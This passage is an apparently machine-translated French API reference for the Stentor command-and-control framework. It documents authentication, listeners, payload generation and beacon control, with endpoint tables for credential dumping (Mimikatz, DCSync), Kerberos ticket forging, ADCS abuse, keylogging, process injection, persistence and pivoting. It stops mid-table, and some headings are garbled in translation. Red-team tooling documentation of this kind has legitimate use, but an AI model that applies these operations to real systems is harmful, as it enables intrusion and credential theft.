Aller au contenu

Référence de l'API REST

Documentation complète pour l'API REST Stentor : authentification, catalogue de points de terminaison, schémas de requête/réponse, codes d'erreur et exemples de requêtes utilisant curl.


Introduction

L'API REST de Stentor fournit un accès programmatique à toutes les opérations C2. Il suit les conventions REST standard avec les corps de requête et de réponse JSON.

Propriété Valeur
URL de base https://stentor.app/api/v1
Type de contenu application/json
Authentification Jeton JWT Bearer (voir Authentification ci-dessous)
Limitation de taux Points de terminaison d'authentification : limites strictes de force brute. Tous les autres critères : limites standard de prévention des abus.

Tous les points de terminaison protégés nécessitent un en-tête Authorization :

Authorization: Bearer <access_token>

Authentification

Stentor utilise JWT (JSON Web Tokens) pour l'authentification. Les jetons d'accès sont de courte durée et sont renvoyés dans le corps de la réponse JSON. Les jetons d'actualisation sont fournis via des cookies sécurisés httpOnly (jamais exposés à JavaScript).

Connexion

Authentifiez-vous avec votre e-mail et votre mot de passe pour obtenir un jeton d'accès.

POST /api/v1/auth/login

Corps de la demande :

Champ Type Obligatoire Description
email chaîne Oui Adresse email de l'opérateur
password chaîne Oui Mot de passe opérateur

Corps de la réponse :

Champ Type Description
access_token chaîne Jeton d'accès JWT pour les requêtes API
user.id chaîne UUID de l'utilisateur
user.email chaîne E-mail de l'utilisateur
user.role chaîne Rôle utilisateur (admin ou operator)
user.created_at chaîne Horodatage ISO 8601

Un cookie httpOnly stentor_refresh est également défini avec le jeton d'actualisation.

curl -s -X POST https://stentor.app/api/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{
    "email": "[email protected]",
    "password": "your-password"
  }'

Réponse (200 OK) :

{
  "access_token": "eyJhbGciOiJIUzI1NiIs...",
  "user": {
    "id": "550e8400-e29b-41d4-a716-446655440000",
    "email": "[email protected]",
    "role": "admin",
    "created_at": "2026-01-15T10:30:00Z"
  }
}
import requests

resp = requests.post("https://stentor.app/api/v1/auth/login", json={
    "email": "[email protected]",
    "password": "your-password"
})
token = resp.json()["access_token"]
headers = {"Authorization": f"Bearer {token}"}

Réponses aux erreurs :

Statut Corps Parce que
400 {"error": "invalid request body"} Champs manquants ou mal formés
401 {"error": "invalid credentials"} Mauvais email ou mot de passe
500 {"error": "failed to generate tokens"} Échec de la génération de jetons côté serveur

Actualisation des jetons

Échangez le jeton d'actualisation (à partir du cookie httpOnly) contre un nouveau jeton d'accès. Implémente la rotation des jetons : chaque actualisation émet un nouveau jeton d'actualisation et révoque l'ancien.

POST /api/v1/auth/refresh

Aucun corps de requête requis. Le jeton d'actualisation est lu à partir du cookie stentor_refresh.

Corps de la réponse :

Champ Type Description
access_token chaîne Nouveau jeton d'accès JWT

Un nouveau cookie stentor_refresh est défini avec le jeton d'actualisation pivoté.

curl -s -X POST https://stentor.app/api/v1/auth/refresh \
  -b "stentor_refresh=<refresh_token>"

Réponses aux erreurs :

Statut Corps Parce que
401 {"error": "refresh token required"} Aucun cookie d'actualisation présent
401 {"error": "refresh token expired"} Le jeton a expiré
401 {"error": "token revoked"} Le jeton a été explicitement révoqué

Révocation de jeton (déconnexion)

Révoquez le jeton d'actualisation actuel et effacez le cookie. Il s'agit du point de terminaison de déconnexion.

POST /api/v1/auth/revoke

Aucun corps de requête requis. Lit et révoque le jeton d'actualisation du cookie.

curl -s -X POST https://stentor.app/api/v1/auth/revoke \
  -H "Authorization: Bearer $TOKEN" \
  -b "stentor_refresh=<refresh_token>"

Réponse (200 OK) :

{"message": "logged out"}

Billet WebSocket

Générez un ticket opaque de courte durée pour l'authentification WebSocket. Utilisé par le frontend pour établir des connexions WebSocket authentifiées sans exposer le JWT dans les paramètres de requête.

POST /api/v1/auth/ws-ticket

Corps de la réponse :

Champ Type Description
ticket chaîne Ticket opaque à usage unique
curl -s -X POST https://stentor.app/api/v1/auth/ws-ticket \
  -H "Authorization: Bearer $TOKEN"

Opérateur d'enregistrement

Créez un nouveau compte opérateur. Administrateur uniquement : nécessite un utilisateur administrateur authentifié.

POST /api/v1/auth/register

Corps de la demande :

Champ Type Obligatoire Description
email chaîne Oui Email du nouvel opérateur
password chaîne Oui Mot de passe (minimum 8 caractères)

Réponse (201 créées) :

Champ Type Description
id chaîne UUID du nouvel utilisateur
email chaîne E-mail de l'utilisateur
role chaîne Rôle assigné
curl -s -X POST https://stentor.app/api/v1/auth/register \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"email": "[email protected]", "password": "securepassword123"}'

Réponses aux erreurs :

Statut Corps Parce que
400 {"error": "invalid email format"} Adresse e-mail mal formée
400 {"error": "password must be at least 8 characters"} Mot de passe trop court
409 {"error": "email already registered"} E-mail en double

Utilisateur actuel

Obtenez le profil de l'utilisateur authentifié.

GET /api/v1/auth/me

Corps de la réponse :

Champ Type Description
id chaîne UUID de l'utilisateur
email chaîne E-mail de l'utilisateur
role chaîne Rôle de l'utilisateur
created_at chaîne Horodatage ISO 8601
curl -s https://stentor.app/api/v1/auth/me \
  -H "Authorization: Bearer $TOKEN"

Modèles courants

Format de réponse d'erreur

Toutes les réponses d'erreur suivent un format cohérent :

{"error": "description of what went wrong"}

Codes d'état HTTP standard :

Code d'état Signification
200 Succès
201 Créé (nouvelle ressource)
400 Mauvaise demande (entrée invalide, erreur de validation)
401 Non autorisé (jeton manquant ou invalide)
403 Interdit (autorisations insuffisantes)
404 Introuvable (la ressource n'existe pas)
409 Conflit (ressource en double)
429 Trop de demandes (tarif limité)
500 Erreur de serveur interne
503 Service indisponible

Limitation du débit

Les points de terminaison d'authentification (/auth/login, /auth/refresh) ont des limites de débit strictes pour empêcher les attaques par force brute. Tous les autres points de terminaison protégés ont des limites standard de prévention des abus. Lorsque le débit est limité, l'API renvoie 429 Too Many Requests.

Health check

Deux points de terminaison de santé sont disponibles (aucune authentification requise) :

# Root health check
curl https://stentor.app/health

# Versioned health check (includes server identifier)
curl https://stentor.app/api/v1/health

Réponse :

{"status": "ok", "version": "3.0.0", "server": "stentor"}

Référence du point de terminaison

Listeners

Les listeners sont les points de terminaison du serveur C2 qui reçoivent les connexions d'implant. Chaque listener s'exécute sur un agent de relais et prend en charge les transports HTTP/HTTPS, DNS, SMB ou WireGuard.

Liste des listeners

GET /api/v1/listeners

Renvoie tous les listeners configurés.

curl -s https://stentor.app/api/v1/listeners \
  -H "Authorization: Bearer $TOKEN"

Réponse (200 OK) :

[
  {
    "id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "name": "HTTPS Relay",
    "type": "https",
    "host": "10.0.0.50",
    "port": 8443,
    "relay_id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee",
    "status": "running"
  }
]

Créer un listener

POST /api/v1/listeners

Corps de la demande :

Champ Type Obligatoire Description
name chaîne Oui Nom d'affichage
type chaîne Oui Type de transport : http, https, dns, smb, wireguard
host chaîne Oui Adresse de liaison (IP du relais)
port entier Oui Lier le port
relay_id chaîne Oui UUID du relais sur lequel exécuter le listener
dns_domain chaîne Non Domaine pour les listeners DNS
smb_pipe_name chaîne Non Canal nommé pour les listeners SMB
profile_id chaîne Non Profil C2 malléable UUID
certificate_id chaîne Non Certificat de signature de code UUID pour HTTPS
curl -s -X POST https://stentor.app/api/v1/listeners \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "HTTPS Relay",
    "type": "https",
    "host": "10.0.0.50",
    "port": 8443,
    "relay_id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee"
  }'

Réponse (201 créées) :

{
  "id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
  "name": "HTTPS Relay",
  "type": "https",
  "host": "10.0.0.50",
  "port": 8443,
  "relay_id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee",
  "status": "stopped"
}

Commencer après la création

Les listeners nouvellement créés ont le statut "stopped". Vous devez explicitement les démarrer avec POST /api/v1/listeners/:id/start.

Obtenir un listener

GET /api/v1/listeners/:id

Mettre à jour le listener

PUT /api/v1/listeners/:id

Utilise le même corps de requête que Create. Seuls les champs fournis sont mis à jour.

Supprimer le listener

DELETE /api/v1/listeners/:id

Cycle de vie du listener

Méthode Chemin Description
POST /api/v1/listeners/:id/start Démarrer le listener sur son relais
POST /api/v1/listeners/:id/stop Arrêtez le listener
POST /api/v1/listeners/:id/restart Redémarrez le listener
# Start a listener
curl -s -X POST "https://stentor.app/api/v1/listeners/$LISTENER_ID/start" \
  -H "Authorization: Bearer $TOKEN"

Hébergement de fichiers

Méthode Chemin Description
POST /api/v1/listeners/:id/host Héberger un fichier sur le listener
DELETE /api/v1/listeners/:id/host Supprimer le fichier hébergé

Points de terminaison d'écoute supplémentaires

Méthode Chemin Description
GET /api/v1/listeners/:id/redirector-config Générer la configuration du redirecteur (Apache/nginx)
POST /api/v1/listeners/:id/generate-all Générer toutes les variantes de payload pour cet listener
POST /api/v1/listeners/wireguard/keygen Générer une paire de clés WireGuard

Relais

Les relais sont les agents basés sur Kali qui exécutent les listeners et transmettent le trafic C2 au backend.

Méthode Chemin Description
GET /api/v1/relays Lister tous les relais
POST /api/v1/relays Enregistrez un nouveau relais
GET /api/v1/relays/:id Obtenir les détails du relais
PUT /api/v1/relays/:id Mettre à jour la configuration du relais
DELETE /api/v1/relays/:id Supprimer un relais
curl -s https://stentor.app/api/v1/relays \
  -H "Authorization: Bearer $TOKEN"

Réponse (200 OK) :

[
  {
    "id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee",
    "name": "Kali Relay",
    "description": "Primary Kali relay agent",
    "ip_address": "10.0.0.50",
    "status": "online"
  }
]

Payloads

Les payloads sont les binaires de l'implant et le shellcode générés pour être livrés aux cibles.

Méthode Chemin Description
GET /api/v1/payloads Répertorier tous les enregistrements de payload
POST /api/v1/payloads Créer un enregistrement de payload
POST /api/v1/payloads/generate Générer un binaire de payload
GET /api/v1/payloads/:id Obtenir les détails de le payload
DELETE /api/v1/payloads/:id Supprimer un payload
GET /api/v1/payloads/:id/download Téléchargez le binaire de payload
POST /api/v1/payloads/:id/regenerate Régénérer le payload
POST /api/v1/payloads/:id/driveby Créer une URL de téléchargement drive-by

Générer un payload

POST /api/v1/payloads/generate

Corps de la demande :

Champ Type Obligatoire Description
listener_id chaîne Oui UUID du listener cible
format chaîne Oui Format de sortie (exe, dll, shellcode, powershell, hta, etc.)
arch chaîne Non Architecture (x64, x86). La valeur par défaut est x64
name chaîne Non Nom de payload personnalisé
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "format": "exe",
    "arch": "x64"
  }'

Beacons

Les beacons sont des sessions d'implantation actives sur des hôtes compromis. L'API beacon fournit des fonctionnalités de gestion, de mise en file d'attente des tâches, d'extraction d'informations d'identification, d'énumération du réseau et de post-exploitation.

Chemin d'accès à l'API

Tous les points de terminaison du beacon sont sous /api/v1/c2/beacons. N'utilisez pas /api/v1/cockpit/beacons -- ce chemin n'existe pas.

Liste des beacons

GET /api/v1/c2/beacons

curl -s https://stentor.app/api/v1/c2/beacons \
  -H "Authorization: Bearer $TOKEN"

Réponse (200 OK) :

[
  {
    "id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
    "hostname": "WORKSTATION-01",
    "username": "CORP\\jsmith",
    "ip_internal": "192.168.1.50",
    "ip_external": "10.0.0.20",
    "os": "Windows 10 Pro 19045",
    "arch": "x64",
    "pid": 4832,
    "integrity": "Medium",
    "last_seen": "2026-02-19T14:05:30Z",
    "sleep": 5000,
    "jitter": 10
  }
]

Obtenir un beacon

GET /api/v1/c2/beacons/:id

Supprimer le beacon

DELETE /api/v1/c2/beacons/:id

Mettre à jour la note du beacon

PUT /api/v1/c2/beacons/:id/note

Corps de la demande :

Champ Type Obligatoire Description
note chaîne Oui Note de l'opérateur pour ce beacon

Mettre à jour les beacons de beacon

PUT /api/v1/c2/beacons/:id/tags

Corps de la demande :

Champ Type Obligatoire Description
tags chaîne[] Oui Tableau de chaînes de beacons

Tâche de mise en file d'attente

Envoyez une commande à un beacon. La tâche est mise en file d'attente et livrée lors du prochain enregistrement de beacon.

POST /api/v1/c2/beacons/:id/task

Corps de la demande :

Champ Type Obligatoire Description
command chaîne Oui Commande à exécuter (par exemple, shell, ps, ls)
args objet Non Arguments spécifiques à la commande
curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/task" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "shell", "args": {"command": "whoami"}}'

Réponse (200 OK) :

{
  "task_id": "t-550e8400-e29b-41d4-a716-446655440000",
  "status": "queued"
}

Gestion de l'état des beacons

Contrôlez le comportement d’exécution du beacon.

Méthode Chemin Description
PUT /api/v1/c2/beacons/:id/state/sleep Définir l'intervalle de sommeil et la gigue
PUT /api/v1/c2/beacons/:id/state/ppid Définir le PID parent pour l'usurpation d'identité
PUT /api/v1/c2/beacons/:id/state/syscallMethod Définir la méthode d'exécution de l'appel système
PUT /api/v1/c2/beacons/:id/state/blockdlls Activer/désactiver le blocage des DLL non Microsoft
GET /api/v1/c2/beacons/:id/state/beacongate Obtenir la configuration de BeaconGate (syscall gate)
PUT /api/v1/c2/beacons/:id/state/beacongate Définir la configuration de BeaconGate
POST /api/v1/c2/beacons/:id/state/checkin Forcer l'enregistrement immédiat
POST /api/v1/c2/beacons/:id/state/pause Mettre le beacon en pause
POST /api/v1/c2/beacons/:id/state/exit Quitter le beacon (terminer l'implant)
DELETE /api/v1/c2/beacons/:id/queue Effacer toutes les tâches en attente

Définir un exemple de sommeil :

curl -s -X PUT "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/state/sleep" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"sleep": 5000, "jitter": 20}'

Opérations de jetons

Gérez les jetons d'accès Windows sur l'hôte du beacon.

Méthode Chemin Description
GET /api/v1/c2/beacons/:id/token/list Liste des jetons volés/créés
POST /api/v1/c2/beacons/:id/token/steal Voler un jeton à un processus
POST /api/v1/c2/beacons/:id/token/make Créer un jeton avec des informations d'identification
POST /api/v1/c2/beacons/:id/token/use Usurer l'identité d'un jeton stocké
POST /api/v1/c2/beacons/:id/token/revert Revenir au jeton d'origine
POST /api/v1/c2/beacons/:id/token/getprivs Activer tous les privilèges disponibles

Extraction des informations d'identification

Extrayez les informations d’identification de l’hôte du beacon.

Méthode Chemin Description
POST /api/v1/c2/beacons/:id/hashdump Vider les hachages de la base de données SAM
POST /api/v1/c2/beacons/:id/logonpasswords Exécutez Mimikatz sekurlsa ::logonpasswords
POST /api/v1/c2/beacons/:id/mimikatz Exécuter une commande Mimikatz arbitraire
POST /api/v1/c2/beacons/:id/chromedump Extraire les informations d'identification du navigateur Chrome
POST /api/v1/c2/beacons/:id/dcsync Attaque DCSync pour répliquer les informations d'identification AD
POST /api/v1/c2/beacons/:id/keylogger/start Démarrer l'enregistreur de frappe
POST /api/v1/c2/beacons/:id/keylogger/stop Arrêter l'enregistreur de frappe

??? remarque « Points de terminaison d'attaque Active Directory » Ces points de terminaison implémentent des techniques d’attaque AD avancées. Tous nécessitent un beacon active avec les privilèges appropriés.

**Attaques Kerberos :**

| Méthode | Chemin | Description |
|--------|------|-------------|
| `POST` | `/api/v1/c2/beacons/:id/pkinit` | Authentification basée sur le certificat PKINIT |
| `POST` | `/api/v1/c2/beacons/:id/unpac` | UnPAC le hachage de PKINIT |
| `POST` | `/api/v1/c2/beacons/:id/golden_ticket` | Billet d'or de la Forge |
| `POST` | `/api/v1/c2/beacons/:id/diamond_ticket` | Billet Forge Diamant |
| `POST` | `/api/v1/c2/beacons/:id/sapphire_ticket` | Billet Forge Saphir |
| `POST` | `/api/v1/c2/beacons/:id/skeleton_key` | Déployer la clé squelette |
| `POST` | `/api/v1/c2/beacons/:id/sid_history` | Injection de l'historique SID |

**Attaques ADCS (services de certificats) :**

| Méthode | Chemin | Description |
|--------|------|-------------|
| `POST` | `/api/v1/c2/beacons/:id/esc1` | ESC1 – Modèle de certificat mal configuré |
| `POST` | `/api/v1/c2/beacons/:id/esc2` | ESC2 – Modèle de certificat à tout usage |
| `POST` | `/api/v1/c2/beacons/:id/esc3` | ESC3 - Modèle d'agent d'inscription |
| `POST` | `/api/v1/c2/beacons/:id/esc4` | ESC4 – LCA du modèle de certificat vulnérable |
| `POST` | `/api/v1/c2/beacons/:id/esc6` | ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2 |
| `POST` | `/api/v1/c2/beacons/:id/esc7` | ESC7 - Abus d'un agent de l'AC |
| `POST` | `/api/v1/c2/beacons/:id/esc8` | ESC8 - Relais NTLM vers ADCS HTTP |

**Identifiants fantômes :**

| Méthode | Chemin | Description |
|--------|------|-------------|
| `POST` | `/api/v1/c2/beacons/:id/shadow_creds` | Ajouter des informations d'identification fantômes à la cible |

**Abus d'ACL :**

| Méthode | Chemin | Description |
|--------|------|-------------|
| `POST` | `/api/v1/c2/beacons/:id/acl_pwreset` | Forcer la réinitialisation du mot de passe via ACL |
| `POST` | `/api/v1/c2/beacons/:id/acl_setspn` | Définir le SPN pour Kerberoasting |
| `POST` | `/api/v1/c2/beacons/:id/acl_addmember` | Ajouter un membre au groupe via ACL |
| `POST` | `/api/v1/c2/beacons/:id/acl_dcsync` | Accorder les droits DCSync |
| `POST` | `/api/v1/c2/beacons/:id/acl_owner` | S'approprier l'objet AD |
| `POST` | `/api/v1/c2/beacons/:id/acl_sdhold` | Modifier AdminSDHolder |

**RBCD (délégation contrainte basée sur les ressources) :**

| Méthode | Chemin | Description |
|--------|------|-------------|
| `POST` | `/api/v1/c2/beacons/:id/rbcd_addcomputer` | Ajouter un compte d'ordinateur pour RBCD |
| `POST` | `/api/v1/c2/beacons/:id/rbcd_write` | Écrire msDS-AllowedToActOnBehalfOfOtherIdentity |
| `POST` | `/api/v1/c2/beacons/:id/rbcd_attack` | Exécuter la chaîne d'attaque RBCD |

**Abus de GPO :**

| Méthode | Chemin | Description |
|--------|------|-------------|
| `POST` | `/api/v1/c2/beacons/:id/gpo_enum` | Énumérer les objets de stratégie de groupe |
| `POST` | `/api/v1/c2/beacons/:id/gpo_modify` | Modifier le GPO pour la persistance/le mouvement latéral |
| `POST` | `/api/v1/c2/beacons/:id/gpo_cleanup` | Nettoyer les modifications du GPO |

**DCShadow :**

| Méthode | Chemin | Description |
|--------|------|-------------|
| `POST` | `/api/v1/c2/beacons/:id/dcshadow` | Attaque DCShadow (complète) |
| `POST` | `/api/v1/c2/beacons/:id/dcshadow_register` | Enregistrer un DC malveillant |
| `POST` | `/api/v1/c2/beacons/:id/dcshadow_push` | Pousser les modifications de DCShadow |
| `POST` | `/api/v1/c2/beacons/:id/dcshadow_cleanup` | Nettoyer l'enregistrement DC malveillant |

**Dumping d'informations d'identification :**

| Méthode | Chemin | Description |
|--------|------|-------------|
| `POST` | `/api/v1/c2/beacons/:id/laps_dump` | Vider les mots de passe LAPS |
| `POST` | `/api/v1/c2/beacons/:id/gmsa_dump` | Vider les mots de passe du compte gMSA |
| `POST` | `/api/v1/c2/beacons/:id/trust_enum` | Énumérer les approbations de domaine |

Énumération du réseau

Découvrez les ressources réseau de l'hôte du beacon.

Méthode Chemin Description
POST /api/v1/c2/beacons/:id/net/domain Énumérer les informations du domaine
POST /api/v1/c2/beacons/:id/net/group Énumérer les groupes de domaines
POST /api/v1/c2/beacons/:id/net/user Énumérer les utilisateurs du domaine
POST /api/v1/c2/beacons/:id/net/localgroup Énumérer les groupes locaux
POST /api/v1/c2/beacons/:id/net/logons Énumérer les utilisateurs connectés
POST /api/v1/c2/beacons/:id/net/sessions Énumérer les sessions actives
POST /api/v1/c2/beacons/:id/net/share Énumérer les partages réseau
POST /api/v1/c2/beacons/:id/net/time Obtenir l'heure du contrôleur de domaine

Opérations de registre

Lisez et modifiez le registre Windows à distance.

Méthode Chemin Description
POST /api/v1/c2/beacons/:id/reg/query Interroger une clé ou une valeur de registre
POST /api/v1/c2/beacons/:id/reg/create Créer une clé ou une valeur de registre
POST /api/v1/c2/beacons/:id/reg/delete Supprimer une clé ou une valeur de registre

Injection de processus

Injectez du code dans des processus distants.

Méthode Chemin Description
POST /api/v1/c2/beacons/:id/inject/beacon Injecter une nouvelle beacon dans un processus
POST /api/v1/c2/beacons/:id/inject/dll Injecter une DLL dans un processus
POST /api/v1/c2/beacons/:id/inject/shellcode Injecter du shellcode brut dans un processus
GET /api/v1/c2/beacons/:id/elevate/list Répertorier les exploits d'élévation de privilèges disponibles
POST /api/v1/c2/beacons/:id/elevate/:exploit Exécuter un exploit d'élévation de privilèges

Persistance

Installez et gérez les mécanismes de persistance.

Méthode Chemin Description
POST /api/v1/c2/beacons/:id/persist/dll_hijack Installer la persistance du détournement de DLL
POST /api/v1/c2/beacons/:id/persist/com_hijack Installer la persistance du détournement COM
POST /api/v1/c2/beacons/:id/persist/list Répertorier les mécanismes de persistance installés
POST /api/v1/c2/beacons/:id/persist/remove Supprimer un mécanisme de persistance

Variables de beacon

Variables côté serveur associées à un beacon (aucune tâche envoyée à l'implant).

Méthode Chemin Description
GET /api/v1/c2/beacons/:id/variables Obtenez toutes les variables de beacon
PUT /api/v1/c2/beacons/:id/variables Définir une variable de beacon

Points forts des beacons

Mise en évidence visuelle des beacons dans l'interface utilisateur (partagée entre les opérateurs).

Méthode Chemin Description
GET /api/v1/beacons/highlights Répertorier tous les points forts des beacons
PUT /api/v1/beacons/:id/highlight Définir la couleur de surbrillance d'un beacon
DELETE /api/v1/beacons/:id/highlight Supprimer le surlignage d'un beacon

Séances

Les sessions suivent l'accès post-exploitation aux hôtes, y compris les associations d'informations d'identification.

Méthode Chemin Description
GET /api/v1/sessions Lister toutes les sessions
POST /api/v1/sessions Créer une séance
GET /api/v1/sessions/:id Obtenir les détails de la session
PUT /api/v1/sessions/:id Mettre à jour une session
DELETE /api/v1/sessions/:id Supprimer une séance
GET /api/v1/sessions/:id/credentials Répertorier les informations d'identification pour une session
POST /api/v1/sessions/:id/credentials Associer un identifiant à une session

Informations d'identification

Gestion des informations d'identification autonome (non liée à une session spécifique).

Méthode Chemin Description
POST /api/v1/credentials Créer un identifiant autonome
GET /api/v1/credentials Répertorier toutes les informations d'identification
PUT /api/v1/credentials/:credId Mettre à jour un identifiant
DELETE /api/v1/credentials/:credId Supprimer un identifiant
curl -s https://stentor.app/api/v1/credentials \
  -H "Authorization: Bearer $TOKEN"

Poste de pilotage

Le cockpit est la principale interface opérateur pour interagir avec les beacons. Il fournit le shell, les opérations sur les fichiers, la gestion des processus, le pivotement, etc.

Connexion WebSocket

Le WebSocket du cockpit (/api/v1/cockpit/ws) fournit un streaming d'événements en temps réel. Consultez la page Protocole WebSocket pour plus de détails.

Exécution des shells et des commandes

Méthode Chemin Description
GET /api/v1/cockpit/ws Point de terminaison WebSocket pour les événements en temps réel
POST /api/v1/cockpit/chat Envoyer un message de discussion à l'opérateur
GET /api/v1/cockpit/operators Lister les opérateurs connectés
POST /api/v1/cockpit/shell Exécuter une commande shell sur un beacon
POST /api/v1/cockpit/shell/open Ouvrir une session shell interactive
POST /api/v1/cockpit/shell/close Fermer une session shell interactive
POST /api/v1/cockpit/shell/sleep Définir l'intervalle de sommeil via le shell
POST /api/v1/cockpit/execute Exécuter une technique par ID
GET /api/v1/cockpit/techniques Obtenez toutes les techniques prises en charge
GET /api/v1/cockpit/opsec Obtenez toutes les évaluations des risques OPSEC
GET /api/v1/cockpit/opsec/:techniqueID Recevez un avertissement OPSEC pour une technique spécifique

Opérations sur les fichiers

Méthode Chemin Description
POST /api/v1/cockpit/file/browse Parcourir le système de fichiers distant
POST /api/v1/cockpit/file/download Télécharger un fichier depuis le beacon
GET /api/v1/cockpit/file/content/:taskId Obtenir le contenu du fichier téléchargé
POST /api/v1/cockpit/file/upload Télécharger un fichier sur le beacon
POST /api/v1/cockpit/file/cancel Annuler un téléchargement actif
GET /api/v1/cockpit/file/active Liste des transferts de fichiers actifs

Gestion des processus

Méthode Chemin Description
POST /api/v1/cockpit/beacons/:beaconId/processes Répertorier les processus sur l'hôte du beacon
POST /api/v1/cockpit/beacons/:beaconId/processes/kill Tuer un processus par PID

Proxy SOCKS

Méthode Chemin Description
POST /api/v1/cockpit/socks/start Démarrer un proxy SOCKS5 via un beacon
POST /api/v1/cockpit/socks/stop Arrêter un proxy SOCKS5
PUT /api/v1/cockpit/socks/logging Activer/désactiver la journalisation du trafic SOCKS
GET /api/v1/cockpit/socks Répertorier tous les proxys SOCKS actifs
GET /api/v1/cockpit/socks/:beaconId Obtenez un proxy SOCKS pour un beacon spécifique

Redirection de port

Méthode Chemin Description
POST /api/v1/cockpit/portfwd/start Démarrer un transfert de port inversé
POST /api/v1/cockpit/portfwd/stop Arrêter un transfert de port inversé
POST /api/v1/cockpit/portfwd/start_local Démarrer une redirection de port local
POST /api/v1/cockpit/portfwd/stop_local Arrêter un transfert de port local
GET /api/v1/cockpit/portfwd Liste toutes les redirections de ports
GET /api/v1/cockpit/portfwd/:beaconId Obtenez des transferts de port pour un beacon spécifique

Pivot du navigateur

Méthode Chemin Description
POST /api/v1/cockpit/browserpivot/start Démarrer un pivot de navigateur (injecter dans le navigateur)
POST /api/v1/cockpit/browserpivot/stop Arrêter un pivot de navigateur
GET /api/v1/cockpit/browserpivot Répertorier les pivots de navigateur actifs
GET /api/v1/cockpit/browserpivot/:beaconId Obtenir le pivot du navigateur pour un beacon

VPN secret

Méthode Chemin Description
POST /api/v1/cockpit/covertvpn/start Démarrez un tunnel VPN secret
POST /api/v1/cockpit/covertvpn/stop Arrêtez un tunnel VPN secret
GET /api/v1/cockpit/covertvpn Répertorier les tunnels VPN secrets actifs
GET /api/v1/cockpit/covertvpn/:beaconId Obtenez un VPN secret pour un beacon

Listeners pivots

Méthode Chemin Description
POST /api/v1/cockpit/pivot Créer un listener pivot (liaison TCP)
DELETE /api/v1/cockpit/pivot Arrêter un listener pivot
GET /api/v1/cockpit/pivot Répertorier les listeners pivots actifs

Opérations de beacon

Méthode Chemin Description
POST /api/v1/cockpit/spawn Générer un nouveau processus de beacon
GET /api/v1/cockpit/beacons/:beaconId/tasks Obtenir l'historique des tâches pour un beacon
GET /api/v1/cockpit/beacons/:beaconId/spawnto Obtenir la configuration du spawn
PUT /api/v1/cockpit/beacons/:beaconId/spawnto Mettre à jour le binaire d'apparition
GET /api/v1/cockpit/beacons/:beaconId/jobs Répertorier les tâches en cours d'exécution sur un beacon
POST /api/v1/cockpit/beacons/:beaconId/jobkill Tuer un travail en cours

Sessions SSH

Gestion complète des sessions SSH via un beacon.

Méthode Chemin Description
POST /api/v1/cockpit/ssh/connect Connectez-vous à un hôte via SSH
POST /api/v1/cockpit/ssh/inject Injecter la clé de l'agent SSH
POST /api/v1/cockpit/ssh/disconnect Déconnecter la session SSH
POST /api/v1/cockpit/ssh/shell Exécuter la commande dans une session SSH
POST /api/v1/cockpit/ssh/upload Télécharger le fichier via SSH
POST /api/v1/cockpit/ssh/download Télécharger le fichier via SSH
POST /api/v1/cockpit/ssh/list Répertorier le répertoire via SSH
POST /api/v1/cockpit/ssh/cd Changer de répertoire en session SSH
POST /api/v1/cockpit/ssh/pwd Imprimer le répertoire de travail dans la session SSH
POST /api/v1/cockpit/ssh/sudo Exécuter la commande avec sudo
POST /api/v1/cockpit/ssh/timestomp Copier les horodatages entre les fichiers

Téléchargements groupés SSH :

Méthode Chemin Description
POST /api/v1/cockpit/ssh/download/init Initialiser le téléchargement fragmenté
POST /api/v1/cockpit/ssh/download/chunk Obtenir le prochain morceau de téléchargement
POST /api/v1/cockpit/ssh/download/cancel Annuler le téléchargement fragmenté

Transferts de ports inversés SSH :

Méthode Chemin Description
POST /api/v1/cockpit/ssh/rportfwd/start Démarrer le transfert du port inverse SSH
POST /api/v1/cockpit/ssh/rportfwd/stop Arrêter le transfert du port inverse SSH
GET /api/v1/cockpit/ssh/rportfwd/:beaconId/:sessionId Liste des transferts de ports inversés SSH

Procuration SSH SOCKS :

Méthode Chemin Description
POST /api/v1/cockpit/ssh/socks/start Démarrez le proxy SOCKS via SSH
POST /api/v1/cockpit/ssh/socks/stop Arrêter le proxy SSH SOCKS
GET /api/v1/cockpit/ssh/socks/:beaconId Liste des proxys SSH SOCKS
GET /api/v1/cockpit/ssh/socks/:beaconId/:sessionId Obtenir un proxy SSH SOCKS spécifique

SSH P2P (pair à pair) :

Méthode Chemin Description
POST /api/v1/cockpit/ssh/p2p/connect Connectez-vous au peer via SSH
POST /api/v1/cockpit/ssh/p2p/unlink Dissocier la connexion SSH P2P
POST /api/v1/cockpit/ssh/p2p/list Liste des connexions SSH P2P

Listeners pivots SSH :

Méthode Chemin Description
POST /api/v1/cockpit/ssh/pivot/start Démarrer le listener pivot via SSH
POST /api/v1/cockpit/ssh/pivot/stop Arrêter le listener pivot SSH
POST /api/v1/cockpit/ssh/pivot/list Répertorier les listeners pivots SSH

Opérations PowerShell

Méthode Chemin Description
POST /api/v1/cockpit/psinject Injecter PowerShell dans un processus
POST /api/v1/cockpit/powerpick Exécuter PowerShell sans powershell.exe

Bibliothèque BOF

Gérez et exécutez les fichiers d'objets Beacon (BOF).

Méthode Chemin Description
POST /api/v1/cockpit/bof/execute Exécuter un BOF
POST /api/v1/cockpit/bof/upload Télécharger un BOF dans la bibliothèque
GET /api/v1/cockpit/bof/list Lister les BOF dans la bibliothèque
DELETE /api/v1/cockpit/bof/:id Supprimer un BOF
POST /api/v1/cockpit/bof/pack Pack d'arguments BOF

Usurpation d’arguments

Méthode Chemin Description
POST /api/v1/cockpit/argue Configurer les règles d'usurpation d'argument

Trousse Postex

Méthode Chemin Description
